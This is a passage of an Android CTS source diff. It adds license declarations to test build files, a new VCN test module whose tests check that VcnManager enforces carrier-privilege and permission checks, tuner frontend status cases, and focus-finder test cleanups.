+                case FrontendStatus.FRONTEND_STATUS_TYPE_BER:
+                    status.getBer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PER:
+                    status.getPer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER:
+                    status.getPerBer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY:
+                    status.getSignalQuality();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH:
+                    status.getSignalStrength();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE:
+                    status.getSymbolRate();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_FEC:
+                    status.getInnerFec();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION:
+                    status.getModulation();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL:
+                    status.getSpectralInversion();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE:
+                    status.getLnbVoltage();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID:
+                    status.getPlpId();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_EWBS:
+                    status.isEwbs();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_AGC:
+                    status.getAgc();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LNA:
+                    status.isLnaOn();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR:
+                    status.getLayerErrors();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_MER:
+                    status.getMer();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET:
+                    status.getFreqOffset();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY:
+                    status.getHierarchy();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK:
+                    status.isRfLocked();
+                    break;
+                case FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO:
+                    Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
+                    if (tuningInfos != null) {
+                        for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
+                            tuningInfo.getPlpId();
+                            tuningInfo.isLocked();
+                            tuningInfo.getUec();
+                        }
+                    }
+                    break;
             }
         }
     }
@@ -271,6 +299,16 @@
         // open filter to get demux resource
         Filter f = mTuner.openFilter(
                 Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+        Settings settings = AvSettings
+                .builder(Filter.TYPE_TS, true)
+                .setPassthrough(false)
+                .build();
+        FilterConfiguration config = TsFilterConfiguration
+                .builder()
+                .setTpid(10)
+                .setSettings(settings)
+                .build();
+        f.configure(config);
         int id = mTuner.getAvSyncHwId(f);
         if (id != Tuner.INVALID_AV_SYNC_ID) {
             assertNotEquals(Tuner.INVALID_TIMESTAMP, mTuner.getAvSyncTime(id));
@@ -299,11 +337,23 @@
                 .setSettings(settings)
                 .build();
         f.configure(config);
+
+        // Tune a frontend before start the filter
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
         f.start();
         f.flush();
         f.read(new byte[3], 0, 3);
         f.stop();
         f.close();
+
+        res = mTuner.cancelTuning();
+        assertEquals(Tuner.RESULT_SUCCESS, res);
     }
 
     @Test
@@ -402,7 +452,7 @@
         assertFalse(ids.isEmpty());
         FrontendInfo info = other.getFrontendInfoById(ids.get(0));
 
-	// call tune() to open frontend resource
+        // call tune() to open frontend resource
         int res = other.tune(createFrontendSettings(info));
         assertEquals(Tuner.RESULT_SUCCESS, res);
         assertNotNull(other.getFrontendInfo());
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
index 9254d27..b4d80a8 100644
--- a/tests/tests/uiautomation/Android.bp
+++ b/tests/tests/uiautomation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUiAutomationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/uidisolation/Android.bp b/tests/tests/uidisolation/Android.bp
index 0dbac1a..5e5593e 100644
--- a/tests/tests/uidisolation/Android.bp
+++ b/tests/tests/uidisolation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUidIsolationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index c014aa6..c8e62b6 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUiRenderingTestCases",
     sdk_version: "test_current",
diff --git a/tests/tests/uirendering27/Android.bp b/tests/tests/uirendering27/Android.bp
index 07bc405..1db958c 100644
--- a/tests/tests/uirendering27/Android.bp
+++ b/tests/tests/uirendering27/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUiRenderingTestCases27",
     sdk_version: "test_current",
diff --git a/tests/tests/usb/Android.bp b/tests/tests/usb/Android.bp
index 5195233..2a93d18 100644
--- a/tests/tests/usb/Android.bp
+++ b/tests/tests/usb/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUsbManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/usb/OWNERS b/tests/tests/usb/OWNERS
index 62d0db4e..ad5a496 100644
--- a/tests/tests/usb/OWNERS
+++ b/tests/tests/usb/OWNERS
@@ -1,7 +1,6 @@
 # Bug component: 175220
 badhri@google.com
 elaurent@google.com
-moltmann@google.com
 albertccwang@google.com
 jameswei@google.com
 howardyen@google.com
\ No newline at end of file
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index f2fa420..0c5de3a 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUtilTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/vcn/Android.bp b/tests/tests/vcn/Android.bp
new file mode 100644
index 0000000..ecb1236
--- /dev/null
+++ b/tests/tests/vcn/Android.bp
@@ -0,0 +1,50 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsVcnTestCases",
+    defaults: ["cts_defaults"],
+
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+
+    libs: [
+        "android.test.base",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "net-tests-utils",
+        "telephony-cts-utils",
+    ],
+
+    platform_apis: true,
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/vcn/AndroidManifest.xml b/tests/tests/vcn/AndroidManifest.xml
new file mode 100644
index 0000000..ba6cc45
--- /dev/null
+++ b/tests/tests/vcn/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.net.vcn.cts"
+    android:targetSandboxVersion="2">
+
+    <!--Allow tests to call ConnectivityManager#getActiveNetwork()-->
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <!--Allow tests to create socket -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <!--Allow tests to read telephony configurations -->
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+    <application android:label="CtsVcnTestCases">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.net.vcn.cts"
+                     android:label="CTS tests of android.net.vcn">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/vcn/AndroidTest.xml b/tests/tests/vcn/AndroidTest.xml
new file mode 100644
index 0000000..519b88a
--- /dev/null
+++ b/tests/tests/vcn/AndroidTest.xml
@@ -0,0 +1,32 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS VCN test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsVcnTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.net.vcn.cts" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/vcn/OWNERS b/tests/tests/vcn/OWNERS
index 350d2db..574aa9f 100644
--- a/tests/tests/vcn/OWNERS
+++ b/tests/tests/vcn/OWNERS
@@ -1,2 +1,3 @@
+# Bug component: 685852
 nharold@google.com
 junyin@google.com
\ No newline at end of file
diff --git a/tests/tests/vcn/TEST_MAPPING b/tests/tests/vcn/TEST_MAPPING
new file mode 100644
index 0000000..f8ac08c
--- /dev/null
+++ b/tests/tests/vcn/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsVcnTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
new file mode 100644
index 0000000..81e0a01
--- /dev/null
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -0,0 +1,332 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.vcn.cts;
+
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.ipsec.ike.SaProposal.DH_GROUP_2048_BIT_MODP;
+import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_12;
+import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_AES128_XCBC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.NetworkCapabilities;
+import android.net.ipsec.ike.ChildSaProposal;
+import android.net.ipsec.ike.IkeFqdnIdentification;
+import android.net.ipsec.ike.IkeSaProposal;
+import android.net.ipsec.ike.IkeSessionParams;
+import android.net.ipsec.ike.SaProposal;
+import android.net.ipsec.ike.TunnelModeChildSessionParams;
+import android.net.vcn.VcnConfig;
+import android.net.vcn.VcnControlPlaneIkeConfig;
+import android.net.vcn.VcnGatewayConnectionConfig;
+import android.net.vcn.VcnManager;
+import android.os.ParcelUuid;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.util.CarrierPrivilegeUtils;
+import android.telephony.cts.util.SubscriptionGroupUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class VcnManagerTest {
+    private static final String TAG = VcnManagerTest.class.getSimpleName();
+
+    private static final int TIMEOUT_MS = 500;
+
+    private static final Executor INLINE_EXECUTOR = Runnable::run;
+
+    private final Context mContext;
+    private final VcnManager mVcnManager;
+    private final SubscriptionManager mSubscriptionManager;
+    private final TelephonyManager mTelephonyManager;
+    private final ConnectivityManager mConnectivityManager;
+
+    public VcnManagerTest() {
+        mContext = InstrumentationRegistry.getContext();
+        mVcnManager = mContext.getSystemService(VcnManager.class);
+        mSubscriptionManager = mContext.getSystemService(SubscriptionManager.class);
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEPHONY));
+    }
+
+    private VcnConfig buildVcnConfig() {
+        final IkeSaProposal ikeProposal =
+                new IkeSaProposal.Builder()
+                        .addEncryptionAlgorithm(
+                                ENCRYPTION_ALGORITHM_AES_GCM_12, SaProposal.KEY_LEN_AES_128)
+                        .addDhGroup(DH_GROUP_2048_BIT_MODP)
+                        .addPseudorandomFunction(PSEUDORANDOM_FUNCTION_AES128_XCBC)
+                        .build();
+
+        final String serverHostname = "2001:db8:1::100";
+        final String testLocalId = "test.client.com";
+        final String testRemoteId = "test.server.com";
+        final byte[] psk = "psk".getBytes();
+
+        // TODO: b/180521384: Build the IkeSessionParams without a Context when the no-arg
+        // IkeSessionParams.Builder constructor is exposed.
+        final IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(mContext)
+                        .setServerHostname(serverHostname)
+                        .addSaProposal(ikeProposal)
+                        .setLocalIdentification(new IkeFqdnIdentification(testLocalId))
+                        .setRemoteIdentification(new IkeFqdnIdentification(testRemoteId))
+                        .setAuthPsk(psk)
+                        .build();
+
+        final ChildSaProposal childProposal =
+                new ChildSaProposal.Builder()
+                        .addEncryptionAlgorithm(
+                                ENCRYPTION_ALGORITHM_AES_GCM_12, SaProposal.KEY_LEN_AES_128)
+                        .build();
+        final TunnelModeChildSessionParams childParams =
+                new TunnelModeChildSessionParams.Builder().addSaProposal(childProposal).build();
+
+        final VcnControlPlaneIkeConfig controlConfig =
+                new VcnControlPlaneIkeConfig(ikeParams, childParams);
+
+        final VcnGatewayConnectionConfig gatewayConnConfig =
+                new VcnGatewayConnectionConfig.Builder(controlConfig)
+                        .addExposedCapability(NET_CAPABILITY_INTERNET)
+                        .addRequiredUnderlyingCapability(NET_CAPABILITY_INTERNET)
+                        .setRetryInterval(
+                                new long[] {
+                                    TimeUnit.SECONDS.toMillis(1),
+                                    TimeUnit.MINUTES.toMillis(1),
+                                    TimeUnit.HOURS.toMillis(1)
+                                })
+                        .setMaxMtu(1360)
+                        .build();
+
+        return new VcnConfig.Builder(mContext)
+                .addGatewayConnectionConfig(gatewayConnConfig)
+                .build();
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testSetVcnConfig_noCarrierPrivileges() throws Exception {
+        // TODO: b/180521384: Remove the assertion when constructing IkeSessionParams does not
+        // require an active default network.
+        assertNotNull(
+                "You must have an active network connection to complete CTS",
+                mConnectivityManager.getActiveNetwork());
+
+        mVcnManager.setVcnConfig(new ParcelUuid(UUID.randomUUID()), buildVcnConfig());
+    }
+
+    @Test
+    public void testSetVcnConfig_withCarrierPrivileges() throws Exception {
+        // TODO: b/180521384: Remove the assertion when constructing IkeSessionParams does not
+        // require an active default network.
+        assertNotNull(
+                "You must have an active network connection to complete CTS",
+                mConnectivityManager.getActiveNetwork());
+
+        final int dataSubId = SubscriptionManager.getDefaultDataSubscriptionId();
+        CarrierPrivilegeUtils.withCarrierPrivileges(mContext, dataSubId, () -> {
+            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, dataSubId, (subGrp) -> {
+                mVcnManager.setVcnConfig(subGrp, buildVcnConfig());
+            });
+        });
+
+        assertFalse(mTelephonyManager.createForSubscriptionId(dataSubId).hasCarrierPrivileges());
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testClearVcnConfig_noCarrierPrivileges() throws Exception {
+        mVcnManager.clearVcnConfig(new ParcelUuid(UUID.randomUUID()));
+    }
+
+    @Test
+    public void testClearVcnConfig_withCarrierPrivileges() throws Exception {
+        final int dataSubId = SubscriptionManager.getDefaultDataSubscriptionId();
+        CarrierPrivilegeUtils.withCarrierPrivileges(mContext, dataSubId, () -> {
+            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, dataSubId, (subGrp) -> {
+                mVcnManager.clearVcnConfig(subGrp);
+            });
+        });
+    }
+
+    /** Test implementation of VcnNetworkPolicyChangeListener for verification purposes. */
+    private static class TestVcnNetworkPolicyChangeListener
+            implements VcnManager.VcnNetworkPolicyChangeListener {
+        private final CompletableFuture<Void> mFutureOnPolicyChanged = new CompletableFuture<>();
+
+        @Override
+        public void onPolicyChanged() {
+            mFutureOnPolicyChanged.complete(null /* unused */);
+        }
+
+        public void awaitOnPolicyChanged() throws Exception {
+            mFutureOnPolicyChanged.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testAddVcnNetworkPolicyChangeListener_noNetworkFactoryPermission()
+            throws Exception {
+        final TestVcnNetworkPolicyChangeListener listener =
+                new TestVcnNetworkPolicyChangeListener();
+
+        try {
+            mVcnManager.addVcnNetworkPolicyChangeListener(INLINE_EXECUTOR, listener);
+        } finally {
+            mVcnManager.removeVcnNetworkPolicyChangeListener(listener);
+        }
+    }
+
+    @Test
+    public void testRemoveVcnNetworkPolicyChangeListener_noNetworkFactoryPermission() {
+        final TestVcnNetworkPolicyChangeListener listener =
+                new TestVcnNetworkPolicyChangeListener();
+
+        mVcnManager.removeVcnNetworkPolicyChangeListener(listener);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testApplyVcnNetworkPolicy_noNetworkFactoryPermission() throws Exception {
+        final NetworkCapabilities nc = new NetworkCapabilities.Builder().build();
+        final LinkProperties lp = new LinkProperties();
+
+        mVcnManager.applyVcnNetworkPolicy(nc, lp);
+    }
+
+    /** Test implementation of VcnStatusCallback for verification purposes. */
+    private static class TestVcnStatusCallback extends VcnManager.VcnStatusCallback {
+        private final CompletableFuture<Integer> mFutureOnVcnStatusChanged =
+                new CompletableFuture<>();
+        private final CompletableFuture<GatewayConnectionError> mFutureOnGatewayConnectionError =
+                new CompletableFuture<>();
+
+        @Override
+        public void onVcnStatusChanged(int statusCode) {
+            mFutureOnVcnStatusChanged.complete(statusCode);
+        }
+
+        @Override
+        public void onGatewayConnectionError(
+                @NonNull int[] networkCapabilities, int errorCode, @Nullable Throwable detail) {
+            mFutureOnGatewayConnectionError.complete(
+                    new GatewayConnectionError(networkCapabilities, errorCode, detail));
+        }
+
+        public int awaitOnVcnStatusChanged() throws Exception {
+            return mFutureOnVcnStatusChanged.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        public GatewayConnectionError awaitOnGatewayConnectionError() throws Exception {
+            return mFutureOnGatewayConnectionError.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    /** Info class for organizing VcnStatusCallback#onGatewayConnectionError response data. */
+    private static class GatewayConnectionError {
+        @NonNull public final int[] networkCapabilities;
+        public final int errorCode;
+        @Nullable public final Throwable detail;
+
+        public GatewayConnectionError(
+                @NonNull int[] networkCapabilities, int errorCode, @Nullable Throwable detail) {
+            this.networkCapabilities = networkCapabilities.clone();
+            this.errorCode = errorCode;
+            this.detail = detail;
+        }
+    }
+
+    private void registerVcnStatusCallbackForSubId(
+            @NonNull TestVcnStatusCallback callback, int subId) throws Exception {
+        CarrierPrivilegeUtils.withCarrierPrivileges(mContext, subId, () -> {
+            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
+                mVcnManager.registerVcnStatusCallback(subGrp, INLINE_EXECUTOR, callback);
+            });
+        });
+    }
+
+    @Test
+    public void testRegisterVcnStatusCallback() throws Exception {
+        final TestVcnStatusCallback callback = new TestVcnStatusCallback();
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+
+        try {
+            registerVcnStatusCallbackForSubId(callback, subId);
+
+            final int statusCode = callback.awaitOnVcnStatusChanged();
+            assertEquals(VcnManager.VCN_STATUS_CODE_NOT_CONFIGURED, statusCode);
+        } finally {
+            mVcnManager.unregisterVcnStatusCallback(callback);
+        }
+    }
+
+    @Test
+    public void testRegisterVcnStatusCallback_reuseUnregisteredCallback() throws Exception {
+        final TestVcnStatusCallback callback = new TestVcnStatusCallback();
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+
+        try {
+            registerVcnStatusCallbackForSubId(callback, subId);
+            mVcnManager.unregisterVcnStatusCallback(callback);
+            registerVcnStatusCallbackForSubId(callback, subId);
+        } finally {
+            mVcnManager.unregisterVcnStatusCallback(callback);
+        }
+    }
+
+    @Test(expected = IllegalStateException.class)
+    public void testRegisterVcnStatusCallback_duplicateRegister() throws Exception {
+        final TestVcnStatusCallback callback = new TestVcnStatusCallback();
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+
+        try {
+            registerVcnStatusCallbackForSubId(callback, subId);
+            registerVcnStatusCallbackForSubId(callback, subId);
+        } finally {
+            mVcnManager.unregisterVcnStatusCallback(callback);
+        }
+    }
+
+    @Test
+    public void testUnregisterVcnStatusCallback() throws Exception {
+        final TestVcnStatusCallback callback = new TestVcnStatusCallback();
+
+        mVcnManager.unregisterVcnStatusCallback(callback);
+    }
+}
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index dd0c5b2..3c16650 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -38,7 +38,8 @@
     platform-test-annotations \
     ub-uiautomator \
     truth-prebuilt \
-    CtsSurfaceValidatorLib
+    CtsSurfaceValidatorLib \
+    cts-wm-util
 
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsview_jni libnativehelper_compat_libc++
diff --git a/tests/tests/view/jni/Android.bp b/tests/tests/view/jni/Android.bp
index 61932fc..484a6dd 100644
--- a/tests/tests/view/jni/Android.bp
+++ b/tests/tests/view/jni/Android.bp
@@ -12,11 +12,18 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
 
     name: "libctsview_jni",
 
-    cflags: ["-Werror"],
+    cflags: [
+        "-Werror",
+        "-Wno-error=deprecated-declarations",
+    ],
 
     gtest: false,
 
diff --git a/tests/tests/view/res/layout/focus_finder_layout.xml b/tests/tests/view/res/layout/focus_finder_layout.xml
index 4e2726c..1dea684 100644
--- a/tests/tests/view/res/layout/focus_finder_layout.xml
+++ b/tests/tests/view/res/layout/focus_finder_layout.xml
@@ -46,11 +46,7 @@
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:layout_below="@id/layout">
-        <android.view.cts.TestButton
-            android:id="@+id/bottom_button"
-            android:layout_width="60dp"
-            android:layout_height="match_parent"
-            android:text="B" />
+
     </LinearLayout>
 </RelativeLayout>
 
diff --git a/tests/tests/view/sdk28/Android.bp b/tests/tests/view/sdk28/Android.bp
index 71eb9e4..f005f3b 100644
--- a/tests/tests/view/sdk28/Android.bp
+++ b/tests/tests/view/sdk28/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsViewTestCasesSdk28",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index 05f8d4a..affc2ae 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -18,6 +18,8 @@
 
 import static org.junit.Assert.assertTrue;
 
+import static android.server.wm.WindowManagerState.getLogicalDisplaySize;
+
 import android.animation.ObjectAnimator;
 import android.animation.PropertyValuesHolder;
 import android.animation.ValueAnimator;
@@ -77,6 +79,7 @@
     @Before
     public void setup() {
         mActivity = mActivityRule.getActivity();
+        mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
     }
 
     /**
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
index 300d3a5..ae0b4bf 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderCtsActivity.java
@@ -25,8 +25,6 @@
 
     public ViewGroup layout;
 
-    public ViewGroup inflateLayout;
-
     public Button topLeftButton;
 
     public Button topRightButton;
@@ -35,19 +33,15 @@
 
     public Button bottomRightButton;
 
-    public Button bottomButton;
-
     @Override
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
         setContentView(R.layout.focus_finder_layout);
         layout = (ViewGroup) findViewById(R.id.layout);
-        inflateLayout = (ViewGroup) findViewById(R.id.inflate_layout);
         topLeftButton = (Button) findViewById(R.id.top_left_button);
         topRightButton = (Button) findViewById(R.id.top_right_button);
         bottomLeftButton = (Button) findViewById(R.id.bottom_left_button);
         bottomRightButton = (Button) findViewById(R.id.bottom_right_button);
-        bottomButton = (Button) findViewById(R.id.bottom_button);
     }
 }
 
diff --git a/tests/tests/view/src/android/view/cts/FocusFinderTest.java b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
index 53992ce..11e921a 100644
--- a/tests/tests/view/src/android/view/cts/FocusFinderTest.java
+++ b/tests/tests/view/src/android/view/cts/FocusFinderTest.java
@@ -18,7 +18,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
@@ -45,12 +44,10 @@
 public class FocusFinderTest {
     private FocusFinder mFocusFinder;
     private ViewGroup mLayout;
-    private ViewGroup mInflateLayout;
     private Button mTopLeft;
     private Button mTopRight;
     private Button mBottomLeft;
     private Button mBottomRight;
-    private Button mBottom;
 
     @Rule
     public ActivityTestRule<FocusFinderCtsActivity> mActivityRule =
@@ -62,17 +59,14 @@
 
         mFocusFinder = FocusFinder.getInstance();
         mLayout = activity.layout;
-        mInflateLayout = activity.inflateLayout;
         mTopLeft = activity.topLeftButton;
         mTopRight = activity.topRightButton;
         mBottomLeft = activity.bottomLeftButton;
         mBottomRight = activity.bottomRightButton;
-        mBottom = activity.bottomButton;
         mTopLeft.setNextFocusLeftId(View.NO_ID);
         mTopRight.setNextFocusLeftId(View.NO_ID);
         mBottomLeft.setNextFocusLeftId(View.NO_ID);
         mBottomRight.setNextFocusLeftId(View.NO_ID);
-        mBottom.setNextFocusLeftId(View.NO_ID);
     }
 
     @Test
@@ -462,17 +456,4 @@
         view.setRight(right);
         view.setBottom(bottom);
     }
-
